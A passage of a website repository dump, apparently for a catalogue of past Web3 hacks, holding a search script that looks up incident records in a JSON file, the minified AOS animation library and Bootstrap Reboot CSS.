'.swiper-pagination', 247 | type: 'bullets', 248 | clickable: true 249 | } 250 | }); 251 | 252 | /** 253 | * Animation on scroll 254 | */ 255 | window.addEventListener('load', () => { 256 | AOS.init({ 257 | duration: 1000, 258 | easing: 'ease-in-out', 259 | once: true, 260 | mirror: false 261 | }) 262 | }); 263 | 264 | /** 265 | * Initiate Pure Counter 266 | */ 267 | new PureCounter(); 268 | 269 | })() -------------------------------------------------------------------------------- /assets/js/searchbar.js: -------------------------------------------------------------------------------- 1 | const input = document.querySelector(".finder__input"); 2 | const finder = document.querySelector(".finder"); 3 | const form = document.querySelector("form"); 4 | const elem = document.getElementById("about"); 5 | const footer = document.getElementById("footer"); 6 | const about_list = document.getElementById("about-list"); 7 | const title = document.getElementById("project-title"); 8 | const table = document.getElementById("showData"); 9 | const add_note = document.getElementById("add_note"); 10 | const inp = document.getElementById("q"); 11 | const nodes = document.getElementById('nodes'); 12 | 13 | elem.style.display = "none"; 14 | footer.style.display = "none"; 15 | about_list.style.display = "none"; 16 | 17 | var attacks; 18 | var keys; 19 | fetch('assets/exploit-database.json') 20 | .then(res => res.json()) 21 | .then(data => 22 | { 23 | attacks = data; 24 | keys = Object.keys(attacks); 25 | }); 26 | 27 | // const keys = Object.keys(attacks); 28 | input.addEventListener("focus", () => { 29 | finder.classList.add("active"); 30 | }); 31 | 32 | input.addEventListener("blur", () => { 33 | if (input.value.length === 0) { 34 | finder.classList.remove("active"); 35 | } 36 | }); 37 | 38 | function searchDatabase(input){ 39 | let attack = attacks[input]; 40 | try{ 41 | if(attack != undefined){ 42 | title.innerHTML = input; 43 | let values = JSON.parse(JSON.stringify(attack)); 44 | let keys = Object.keys(values); 45 | let date = values[keys[0]]; 46 | let loss = values[keys[1]]; 47 | let attacker_add = values[keys[2]]; 48 | let attacker_cont = values[keys[3]]; 49 | let project_cont = values[keys[4]]; 50 | let postmortem = values[keys[5]]; 51 | let poc = values[keys[6]]; 52 | let chain = values[keys[7]]; 53 | let bugtype = values[keys[8]]; 54 | let project_type = values[keys[9]]; 55 | let tags = values[keys[10]]; 56 | let note = values[keys[11]]; 57 | table.innerHTML += 58 | 59 | "Date" + date + "" + 60 | "Estimated Loss" + loss + "" + 61 | "Attacker's Address" + attacker_add + "" + 62 | "Attacker's Contract" + attacker_cont + "" + 63 | "Project Contract(s)" ; 64 | 65 | let project_cont_values = JSON.parse(JSON.stringify(project_cont)); 66 | let project_cont_keys = Object.keys(project_cont_values); 67 | 68 | for(let i=0 ; i"+ project_cont_values[project_cont_keys[i]] + "" 70 | } 71 | 72 | table.innerHTML += 73 | 74 | "Postmortem" + postmortem + "" + 75 | "PoC" + poc + "" + 76 | "Chain" + chain + "" + 77 | "BugType" + bugtype + "" + 78 | "Project Type" + project_type + "" + 79 | "Tags" + tags + ""; 80 | 81 | if(note != ""){ 82 | add_note.innerHTML += "Note: " + note + ""; 83 | } 84 | } 85 | else{ 86 | title.innerHTML = "Project Not Found"; 87 | } 88 | } 89 | catch (error){ 90 | console.log(error) 91 | } 92 | } 93 | 94 | form.addEventListener("submit", (ev) => { 95 | ev.preventDefault(); 96 | finder.classList.add("processing"); 97 | finder.classList.remove("active"); 98 | input.disabled = true; 99 | if(elem.style.display === "none") { 100 | elem.style.display = "block"; 101 | footer.style.display = "block"; 102 | about_list.style.display = "block"; 103 | 104 | } 105 | table.innerHTML = ""; 106 | add_note.innerHTML = ""; 107 | searchDatabase(finder.querySelector(".finder__input").value.trim().toLowerCase()); 108 | setTimeout(() => { 109 | finder.classList.remove("processing"); 110 | input.disabled = false; 111 | if (input.value.length > 0) { 112 | finder.classList.add("active"); 113 | } 114 | elem.scrollIntoView(); 115 | 116 | }, 1000); 117 | }); 118 | 119 | inp.oninput = function () { 120 | let results = []; 121 | const userInput = this.value; 122 | nodes.innerHTML = ""; 123 | nodes.style.borderLeft = 'none'; 124 | if (userInput.length > 0) { 125 | results = getResults(userInput); 126 | nodes.style.display = "block"; 127 | for (i = 0; i < results.length; i++) { 128 | nodes.innerHTML += "
  • " + results[i] + "
  • "; 129 | nodes.style.borderLeft = '5px solid red'; 130 | 131 | } 132 | } 133 | }; 134 | function getResults(input) { 135 | const results = []; 136 | for (i = 0; i < keys.length; i++) { 137 | if (input.trim().toLowerCase() === keys[i].slice(0, input.length)) { 138 | results.push(keys[i]); 139 | } 140 | } 141 | return results; 142 | } 143 | nodes.onclick = function (event) { 144 | const setValue = event.target.innerText; 145 | inp.value = setValue; 146 | this.innerHTML = ""; 147 | nodes.style.borderLeft = 'none'; 148 | }; -------------------------------------------------------------------------------- /assets/vendor/aos/aos.js: -------------------------------------------------------------------------------- 1 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="dist/",t(0)}([function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign||function(e){for(var t=1;t0&&void 0!==arguments[0]&&arguments[0];if(e&&(k=!0),k)return w=(0,y.default)(w,x),(0,b.default)(w,x.once),w},O=function(){w=(0,h.default)(),j()},M=function(){w.forEach(function(e,t){e.node.removeAttribute("data-aos"),e.node.removeAttribute("data-aos-easing"),e.node.removeAttribute("data-aos-duration"),e.node.removeAttribute("data-aos-delay")})},S=function(e){return e===!0||"mobile"===e&&p.default.mobile()||"phone"===e&&p.default.phone()||"tablet"===e&&p.default.tablet()||"function"==typeof e&&e()===!0},_=function(e){x=i(x,e),w=(0,h.default)();var t=document.all&&!window.atob;return S(x.disable)||t?M():(x.disableMutationObserver||d.default.isSupported()||(console.info('\n aos: MutationObserver is not supported on this browser,\n code mutations observing has been disabled.\n You may have to call "refreshHard()" by yourself.\n '),x.disableMutationObserver=!0),document.querySelector("body").setAttribute("data-aos-easing",x.easing),document.querySelector("body").setAttribute("data-aos-duration",x.duration),document.querySelector("body").setAttribute("data-aos-delay",x.delay),"DOMContentLoaded"===x.startEvent&&["complete","interactive"].indexOf(document.readyState)>-1?j(!0):"load"===x.startEvent?window.addEventListener(x.startEvent,function(){j(!0)}):document.addEventListener(x.startEvent,function(){j(!0)}),window.addEventListener("resize",(0,s.default)(j,x.debounceDelay,!0)),window.addEventListener("orientationchange",(0,s.default)(j,x.debounceDelay,!0)),window.addEventListener("scroll",(0,u.default)(function(){(0,b.default)(w,x.once)},x.throttleDelay)),x.disableMutationObserver||d.default.ready("[data-aos]",O),w)};e.exports={init:_,refresh:j,refreshHard:O}},function(e,t){},,,,,function(e,t){(function(t){"use strict";function n(e,t,n){function o(t){var n=b,o=v;return b=v=void 0,k=t,g=e.apply(o,n)}function r(e){return k=e,h=setTimeout(f,t),M?o(e):g}function a(e){var n=e-w,o=e-k,i=t-n;return S?j(i,y-o):i}function c(e){var n=e-w,o=e-k;return void 0===w||n>=t||n<0||S&&o>=y}function f(){var e=O();return c(e)?d(e):void(h=setTimeout(f,a(e)))}function d(e){return h=void 0,_&&b?o(e):(b=v=void 0,g)}function l(){void 0!==h&&clearTimeout(h),k=0,b=w=v=h=void 0}function p(){return void 0===h?g:d(O())}function m(){var e=O(),n=c(e);if(b=arguments,v=this,w=e,n){if(void 0===h)return r(w);if(S)return h=setTimeout(f,t),o(w)}return void 0===h&&(h=setTimeout(f,t)),g}var b,v,y,g,h,w,k=0,M=!1,S=!1,_=!0;if("function"!=typeof e)throw new TypeError(s);return t=u(t)||0,i(n)&&(M=!!n.leading,S="maxWait"in n,y=S?x(u(n.maxWait)||0,t):y,_="trailing"in n?!!n.trailing:_),m.cancel=l,m.flush=p,m}function o(e,t,o){var r=!0,a=!0;if("function"!=typeof e)throw new TypeError(s);return i(o)&&(r="leading"in o?!!o.leading:r,a="trailing"in o?!!o.trailing:a),n(e,t,{leading:r,maxWait:t,trailing:a})}function i(e){var t="undefined"==typeof e?"undefined":c(e);return!!e&&("object"==t||"function"==t)}function r(e){return!!e&&"object"==("undefined"==typeof e?"undefined":c(e))}function a(e){return"symbol"==("undefined"==typeof e?"undefined":c(e))||r(e)&&k.call(e)==d}function u(e){if("number"==typeof e)return e;if(a(e))return f;if(i(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=i(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(l,"");var n=m.test(e);return n||b.test(e)?v(e.slice(2),n?2:8):p.test(e)?f:+e}var c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s="Expected a function",f=NaN,d="[object Symbol]",l=/^\s+|\s+$/g,p=/^[-+]0x[0-9a-f]+$/i,m=/^0b[01]+$/i,b=/^0o[0-7]+$/i,v=parseInt,y="object"==("undefined"==typeof t?"undefined":c(t))&&t&&t.Object===Object&&t,g="object"==("undefined"==typeof self?"undefined":c(self))&&self&&self.Object===Object&&self,h=y||g||Function("return this")(),w=Object.prototype,k=w.toString,x=Math.max,j=Math.min,O=function(){return h.Date.now()};e.exports=o}).call(t,function(){return this}())},function(e,t){(function(t){"use strict";function n(e,t,n){function i(t){var n=b,o=v;return b=v=void 0,O=t,g=e.apply(o,n)}function r(e){return O=e,h=setTimeout(f,t),M?i(e):g}function u(e){var n=e-w,o=e-O,i=t-n;return S?x(i,y-o):i}function s(e){var n=e-w,o=e-O;return void 0===w||n>=t||n<0||S&&o>=y}function f(){var e=j();return s(e)?d(e):void(h=setTimeout(f,u(e)))}function d(e){return h=void 0,_&&b?i(e):(b=v=void 0,g)}function l(){void 0!==h&&clearTimeout(h),O=0,b=w=v=h=void 0}function p(){return void 0===h?g:d(j())}function m(){var e=j(),n=s(e);if(b=arguments,v=this,w=e,n){if(void 0===h)return r(w);if(S)return h=setTimeout(f,t),i(w)}return void 0===h&&(h=setTimeout(f,t)),g}var b,v,y,g,h,w,O=0,M=!1,S=!1,_=!0;if("function"!=typeof e)throw new TypeError(c);return t=a(t)||0,o(n)&&(M=!!n.leading,S="maxWait"in n,y=S?k(a(n.maxWait)||0,t):y,_="trailing"in n?!!n.trailing:_),m.cancel=l,m.flush=p,m}function o(e){var t="undefined"==typeof e?"undefined":u(e);return!!e&&("object"==t||"function"==t)}function i(e){return!!e&&"object"==("undefined"==typeof e?"undefined":u(e))}function r(e){return"symbol"==("undefined"==typeof e?"undefined":u(e))||i(e)&&w.call(e)==f}function a(e){if("number"==typeof e)return e;if(r(e))return s;if(o(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=o(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(d,"");var n=p.test(e);return n||m.test(e)?b(e.slice(2),n?2:8):l.test(e)?s:+e}var u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},c="Expected a function",s=NaN,f="[object Symbol]",d=/^\s+|\s+$/g,l=/^[-+]0x[0-9a-f]+$/i,p=/^0b[01]+$/i,m=/^0o[0-7]+$/i,b=parseInt,v="object"==("undefined"==typeof t?"undefined":u(t))&&t&&t.Object===Object&&t,y="object"==("undefined"==typeof self?"undefined":u(self))&&self&&self.Object===Object&&self,g=v||y||Function("return this")(),h=Object.prototype,w=h.toString,k=Math.max,x=Math.min,j=function(){return g.Date.now()};e.exports=n}).call(t,function(){return this}())},function(e,t){"use strict";function n(e){var t=void 0,o=void 0,i=void 0;for(t=0;te.position?e.node.classList.add("aos-animate"):"undefined"!=typeof o&&("false"===o||!n&&"true"!==o)&&e.node.classList.remove("aos-animate")},o=function(e,t){var o=window.pageYOffset,i=window.innerHeight;e.forEach(function(e,r){n(e,i+o,t)})};t.default=o},function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"__esModule",{value:!0});var i=n(12),r=o(i),a=function(e,t){return e.forEach(function(e,n){e.node.classList.add("aos-init"),e.position=(0,r.default)(e.node,t.offset)}),e};t.default=a},function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"__esModule",{value:!0});var i=n(13),r=o(i),a=function(e,t){var n=0,o=0,i=window.innerHeight,a={offset:e.getAttribute("data-aos-offset"),anchor:e.getAttribute("data-aos-anchor"),anchorPlacement:e.getAttribute("data-aos-anchor-placement")};switch(a.offset&&!isNaN(a.offset)&&(o=parseInt(a.offset)),a.anchor&&document.querySelectorAll(a.anchor)&&(e=document.querySelectorAll(a.anchor)[0]),n=(0,r.default)(e).top,a.anchorPlacement){case"top-bottom":break;case"center-bottom":n+=e.offsetHeight/2;break;case"bottom-bottom":n+=e.offsetHeight;break;case"top-center":n+=i/2;break;case"bottom-center":n+=i/2+e.offsetHeight;break;case"center-center":n+=i/2+e.offsetHeight/2;break;case"top-top":n+=i;break;case"bottom-top":n+=e.offsetHeight+i;break;case"center-top":n+=e.offsetHeight/2+i}return a.anchorPlacement||a.offset||isNaN(t)||(o=t),n+o};t.default=a},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(e){for(var t=0,n=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),n+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:n,left:t}};t.default=n},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(e){return e=e||document.querySelectorAll("[data-aos]"),Array.prototype.map.call(e,function(e){return{node:e}})};t.default=n}])}); -------------------------------------------------------------------------------- /assets/vendor/bootstrap-icons/fonts/bootstrap-icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/bootstrap-icons/fonts/bootstrap-icons.woff -------------------------------------------------------------------------------- /assets/vendor/bootstrap-icons/fonts/bootstrap-icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fawaz404dev/Web3-Graveyard/019d2df15bf220a7f011344ab09812e2f4175662/assets/vendor/bootstrap-icons/fonts/bootstrap-icons.woff2 -------------------------------------------------------------------------------- /assets/vendor/bootstrap/css/bootstrap-reboot.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.2.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2022 The Bootstrap Authors 4 | * Copyright 2011-2022 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 6 | */ 7 | :root { 8 | --bs-blue: #0d6efd; 9 | --bs-indigo: #6610f2; 10 | --bs-purple: #6f42c1; 11 | --bs-pink: #d63384; 12 | --bs-red: #dc3545; 13 | --bs-orange: #fd7e14; 14 | --bs-yellow: #ffc107; 15 | --bs-green: #198754; 16 | --bs-teal: #20c997; 17 | --bs-cyan: #0dcaf0; 18 | --bs-black: #000; 19 | --bs-white: #fff; 20 | --bs-gray: #6c757d; 21 | --bs-gray-dark: #343a40; 22 | --bs-gray-100: #f8f9fa; 23 | --bs-gray-200: #e9ecef; 24 | --bs-gray-300: #dee2e6; 25 | --bs-gray-400: #ced4da; 26 | --bs-gray-500: #adb5bd; 27 | --bs-gray-600: #6c757d; 28 | --bs-gray-700: #495057; 29 | --bs-gray-800: #343a40; 30 | --bs-gray-900: #212529; 31 | --bs-primary: #0d6efd; 32 | --bs-secondary: #6c757d; 33 | --bs-success: #198754; 34 | --bs-info: #0dcaf0; 35 | --bs-warning: #ffc107; 36 | --bs-danger: #dc3545; 37 | --bs-light: #f8f9fa; 38 | --bs-dark: #212529; 39 | --bs-primary-rgb: 13, 110, 253; 40 | --bs-secondary-rgb: 108, 117, 125; 41 | --bs-success-rgb: 25, 135, 84; 42 | --bs-info-rgb: 13, 202, 240; 43 | --bs-warning-rgb: 255, 193, 7; 44 | --bs-danger-rgb: 220, 53, 69; 45 | --bs-light-rgb: 248, 249, 250; 46 | --bs-dark-rgb: 33, 37, 41; 47 | --bs-white-rgb: 255, 255, 255; 48 | --bs-black-rgb: 0, 0, 0; 49 | --bs-body-color-rgb: 33, 37, 41; 50 | --bs-body-bg-rgb: 255, 255, 255; 51 | --bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", "Liberation Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; 52 | --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; 53 | --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); 54 | --bs-body-font-family: var(--bs-font-sans-serif); 55 | --bs-body-font-size: 1rem; 56 | --bs-body-font-weight: 400; 57 | --bs-body-line-height: 1.5; 58 | --bs-body-color: #212529; 59 | --bs-body-bg: #fff; 60 | --bs-border-width: 1px; 61 | --bs-border-style: solid; 62 | --bs-border-color: #dee2e6; 63 | --bs-border-color-translucent: rgba(0, 0, 0, 0.175); 64 | --bs-border-radius: 0.375rem; 65 | --bs-border-radius-sm: 0.25rem; 66 | --bs-border-radius-lg: 0.5rem; 67 | --bs-border-radius-xl: 1rem; 68 | --bs-border-radius-2xl: 2rem; 69 | --bs-border-radius-pill: 50rem; 70 | --bs-link-color: #0d6efd; 71 | --bs-link-hover-color: #0a58ca; 72 | --bs-code-color: #d63384; 73 | --bs-highlight-bg: #fff3cd; 74 | } 75 | 76 | *, 77 | *::before, 78 | *::after { 79 | box-sizing: border-box; 80 | } 81 | 82 | @media (prefers-reduced-motion: no-preference) { 83 | :root { 84 | scroll-behavior: smooth; 85 | } 86 | } 87 | 88 | body { 89 | margin: 0; 90 | font-family: var(--bs-body-font-family); 91 | font-size: var(--bs-body-font-size); 92 | font-weight: var(--bs-body-font-weight); 93 | line-height: var(--bs-body-line-height); 94 | color: var(--bs-body-color); 95 | text-align: var(--bs-body-text-align); 96 | background-color: var(--bs-body-bg); 97 | -webkit-text-size-adjust: 100%; 98 | -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 99 | } 100 | 101 | hr { 102 | margin: 1rem 0; 103 | color: inherit; 104 | border: 0; 105 | border-top: 1px solid; 106 | opacity: 0.25; 107 | } 108 | 109 | h6, h5, h4, h3, h2, h1 { 110 | margin-top: 0; 111 | margin-bottom: 0.5rem; 112 | font-weight: 500; 113 | line-height: 1.2; 114 | } 115 | 116 | h1 { 117 | font-size: calc(1.375rem + 1.5vw); 118 | } 119 | @media (min-width: 1200px) { 120 | h1 { 121 | font-size: 2.5rem; 122 | } 123 | } 124 | 125 | h2 { 126 | font-size: calc(1.325rem + 0.9vw); 127 | } 128 | @media (min-width: 1200px) { 129 | h2 { 130 | font-size: 2rem; 131 | } 132 | } 133 | 134 | h3 { 135 | font-size: calc(1.3rem + 0.6vw); 136 | } 137 | @media (min-width: 1200px) { 138 | h3 { 139 | font-size: 1.75rem; 140 | } 141 | } 142 | 143 | h4 { 144 | font-size: calc(1.275rem + 0.3vw); 145 | } 146 | @media (min-width: 1200px) { 147 | h4 { 148 | font-size: 1.5rem; 149 | } 150 | } 151 | 152 | h5 { 153 | font-size: 1.25rem; 154 | } 155 | 156 | h6 { 157 | font-size: 1rem; 158 | } 159 | 160 | p { 161 | margin-top: 0; 162 | margin-bottom: 1rem; 163 | } 164 | 165 | abbr[title] { 166 | -webkit-text-decoration: underline dotted; 167 | text-decoration: underline dotted; 168 | cursor: help; 169 | -webkit-text-decoration-skip-ink: none; 170 | text-decoration-skip-ink: none; 171 | } 172 | 173 | address { 174 | margin-bottom: 1rem; 175 | font-style: normal; 176 | line-height: inherit; 177 | } 178 | 179 | ol, 180 | ul { 181 | padding-left: 2rem; 182 | } 183 | 184 | ol, 185 | ul, 186 | dl { 187 | margin-top: 0; 188 | margin-bottom: 1rem; 189 | } 190 | 191 | ol ol, 192 | ul ul, 193 | ol ul, 194 | ul ol { 195 | margin-bottom: 0; 196 | } 197 | 198 | dt { 199 | font-weight: 700; 200 | } 201 | 202 | dd { 203 | margin-bottom: 0.5rem; 204 | margin-left: 0; 205 | } 206 | 207 | blockquote { 208 | margin: 0 0 1rem; 209 | } 210 | 211 | b, 212 | strong { 213 | font-weight: bolder; 214 | } 215 | 216 | small { 217 | font-size: 0.875em; 218 | } 219 | 220 | mark { 221 | padding: 0.1875em; 222 | background-color: var(--bs-highlight-bg); 223 | } 224 | 225 | sub, 226 | sup { 227 | position: relative; 228 | font-size: 0.75em; 229 | line-height: 0; 230 | vertical-align: baseline; 231 | } 232 | 233 | sub { 234 | bottom: -0.25em; 235 | } 236 | 237 | sup { 238 | top: -0.5em; 239 | } 240 | 241 | a { 242 | color: var(--bs-link-color); 243 | text-decoration: underline; 244 | } 245 | a:hover { 246 | color: var(--bs-link-hover-color); 247 | } 248 | 249 | a:not([href]):not([class]), a:not([href]):not([class]):hover { 250 | color: inherit; 251 | text-decoration: none; 252 | } 253 | 254 | pre, 255 | code, 256 | kbd, 257 | samp { 258 | font-family: var(--bs-font-monospace); 259 | font-size: 1em; 260 | } 261 | 262 | pre { 263 | display: block; 264 | margin-top: 0; 265 | margin-bottom: 1rem; 266 | overflow: auto; 267 | font-size: 0.875em; 268 | } 269 | pre code { 270 | font-size: inherit; 271 | color: inherit; 272 | word-break: normal; 273 | } 274 | 275 | code { 276 | font-size: 0.875em; 277 | color: var(--bs-code-color); 278 | word-wrap: break-word; 279 | } 280 | a > code { 281 | color: inherit; 282 | } 283 | 284 | kbd { 285 | padding: 0.1875rem 0.375rem; 286 | font-size: 0.875em; 287 | color: var(--bs-body-bg); 288 | background-color: var(--bs-body-color); 289 | border-radius: 0.25rem; 290 | } 291 | kbd kbd { 292 | padding: 0; 293 | font-size: 1em; 294 | } 295 | 296 | figure { 297 | margin: 0 0 1rem; 298 | } 299 | 300 | img, 301 | svg { 302 | vertical-align: middle; 303 | } 304 | 305 | table { 306 | caption-side: bottom; 307 | border-collapse: collapse; 308 | } 309 | 310 | caption { 311 | padding-top: 0.5rem; 312 | padding-bottom: 0.5rem; 313 | color: #6c757d; 314 | text-align: left; 315 | } 316 | 317 | th { 318 | text-align: inherit; 319 | text-align: -webkit-match-parent; 320 | } 321 | 322 | thead, 323 | tbody, 324 | tfoot, 325 | tr, 326 | td, 327 | th { 328 | border-color: inherit; 329 | border-style: solid; 330 | border-width: 0; 331 | } 332 | 333 | label { 334 | display: inline-block; 335 | } 336 | 337 | button { 338 | border-radius: 0; 339 | } 340 | 341 | button:focus:not(:focus-visible) { 342 | outline: 0; 343 | } 344 | 345 | input, 346 | button, 347 | select, 348 | optgroup, 349 | textarea { 350 | margin: 0; 351 | font-family: inherit; 352 | font-size: inherit; 353 | line-height: inherit; 354 | } 355 | 356 | button, 357 | select { 358 | text-transform: none; 359 | } 360 | 361 | [role=button] { 362 | cursor: pointer; 363 | } 364 | 365 | select { 366 | word-wrap: normal; 367 | } 368 | select:disabled { 369 | opacity: 1; 370 | } 371 | 372 | [list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator { 373 | display: none !important; 374 | } 375 | 376 | button, 377 | [type=button], 378 | [type=reset], 379 | [type=submit] { 380 | -webkit-appearance: button; 381 | } 382 | button:not(:disabled), 383 | [type=button]:not(:disabled), 384 | [type=reset]:not(:disabled), 385 | [type=submit]:not(:disabled) { 386 | cursor: pointer; 387 | } 388 | 389 | ::-moz-focus-inner { 390 | padding: 0; 391 | border-style: none; 392 | } 393 | 394 | textarea { 395 | resize: vertical; 396 | } 397 | 398 | fieldset { 399 | min-width: 0; 400 | padding: 0; 401 | margin: 0; 402 | border: 0; 403 | } 404 | 405 | legend { 406 | float: left; 407 | width: 100%; 408 | padding: 0; 409 | margin-bottom: 0.5rem; 410 | font-size: calc(1.275rem + 0.3vw); 411 | line-height: inherit; 412 | } 413 | @media (min-width: 1200px) { 414 | legend { 415 | font-size: 1.5rem; 416 | } 417 | } 418 | legend + * { 419 | clear: left; 420 | } 421 | 422 | ::-webkit-datetime-edit-fields-wrapper, 423 | ::-webkit-datetime-edit-text, 424 | ::-webkit-datetime-edit-minute, 425 | ::-webkit-datetime-edit-hour-field, 426 | ::-webkit-datetime-edit-day-field, 427 | ::-webkit-datetime-edit-month-field, 428 | ::-webkit-datetime-edit-year-field { 429 | padding: 0; 430 | } 431 | 432 | ::-webkit-inner-spin-button { 433 | height: auto; 434 | } 435 | 436 | [type=search] { 437 | outline-offset: -2px; 438 | -webkit-appearance: textfield; 439 | } 440 | 441 | /* rtl:raw: 442 | [type="tel"], 443 | [type="url"], 444 | [type="email"], 445 | [type="number"] { 446 | direction: ltr; 447 | } 448 | */ 449 | ::-webkit-search-decoration { 450 | -webkit-appearance: none; 451 | } 452 | 453 | ::-webkit-color-swatch-wrapper { 454 | padding: 0; 455 | } 456 | 457 | ::-webkit-file-upload-button { 458 | font: inherit; 459 | -webkit-appearance: button; 460 | } 461 | 462 | ::file-selector-button { 463 | font: inherit; 464 | -webkit-appearance: button; 465 | } 466 | 467 | output { 468 | display: inline-block; 469 | } 470 | 471 | iframe { 472 | border: 0; 473 | } 474 | 475 | summary { 476 | display: list-item; 477 | cursor: pointer; 478 | } 479 | 480 | progress { 481 | vertical-align: baseline; 482 | } 483 | 484 | [hidden] { 485 | display: none !important; 486 | } 487 | 488 | /*# sourceMappingURL=bootstrap-reboot.css.map */ -------------------------------------------------------------------------------- /assets/vendor/bootstrap/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v5.2.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2022 The Bootstrap Authors 4 | * Copyright 2011-2022 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 6 | */:root{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,53,69;--bs-light-rgb:248,249,250;--bs-dark-rgb:33,37,41;--bs-white-rgb:255,255,255;--bs-black-rgb:0,0,0;--bs-body-color-rgb:33,37,41;--bs-body-bg-rgb:255,255,255;--bs-font-sans-serif:system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue","Noto Sans","Liberation Sans",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--bs-font-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family:var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight:400;--bs-body-line-height:1.5;--bs-body-color:#212529;--bs-body-bg:#fff;--bs-border-width:1px;--bs-border-style:solid;--bs-border-color:#dee2e6;--bs-border-color-translucent:rgba(0, 0, 0, 0.175);--bs-border-radius:0.375rem;--bs-border-radius-sm:0.25rem;--bs-border-radius-lg:0.5rem;--bs-border-radius-xl:1rem;--bs-border-radius-2xl:2rem;--bs-border-radius-pill:50rem;--bs-link-color:#0d6efd;--bs-link-hover-color:#0a58ca;--bs-code-color:#d63384;--bs-highlight-bg:#fff3cd}*,::after,::before{box-sizing:border-box}@media (prefers-reduced-motion:no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}hr{margin:1rem 0;color:inherit;border:0;border-top:1px solid;opacity:.25}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width:1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width:1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width:1200px){h3{font-size:1.75rem}}h4{font-size:calc(1.275rem + .3vw)}@media (min-width:1200px){h4{font-size:1.5rem}}h5{font-size:1.25rem}h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol 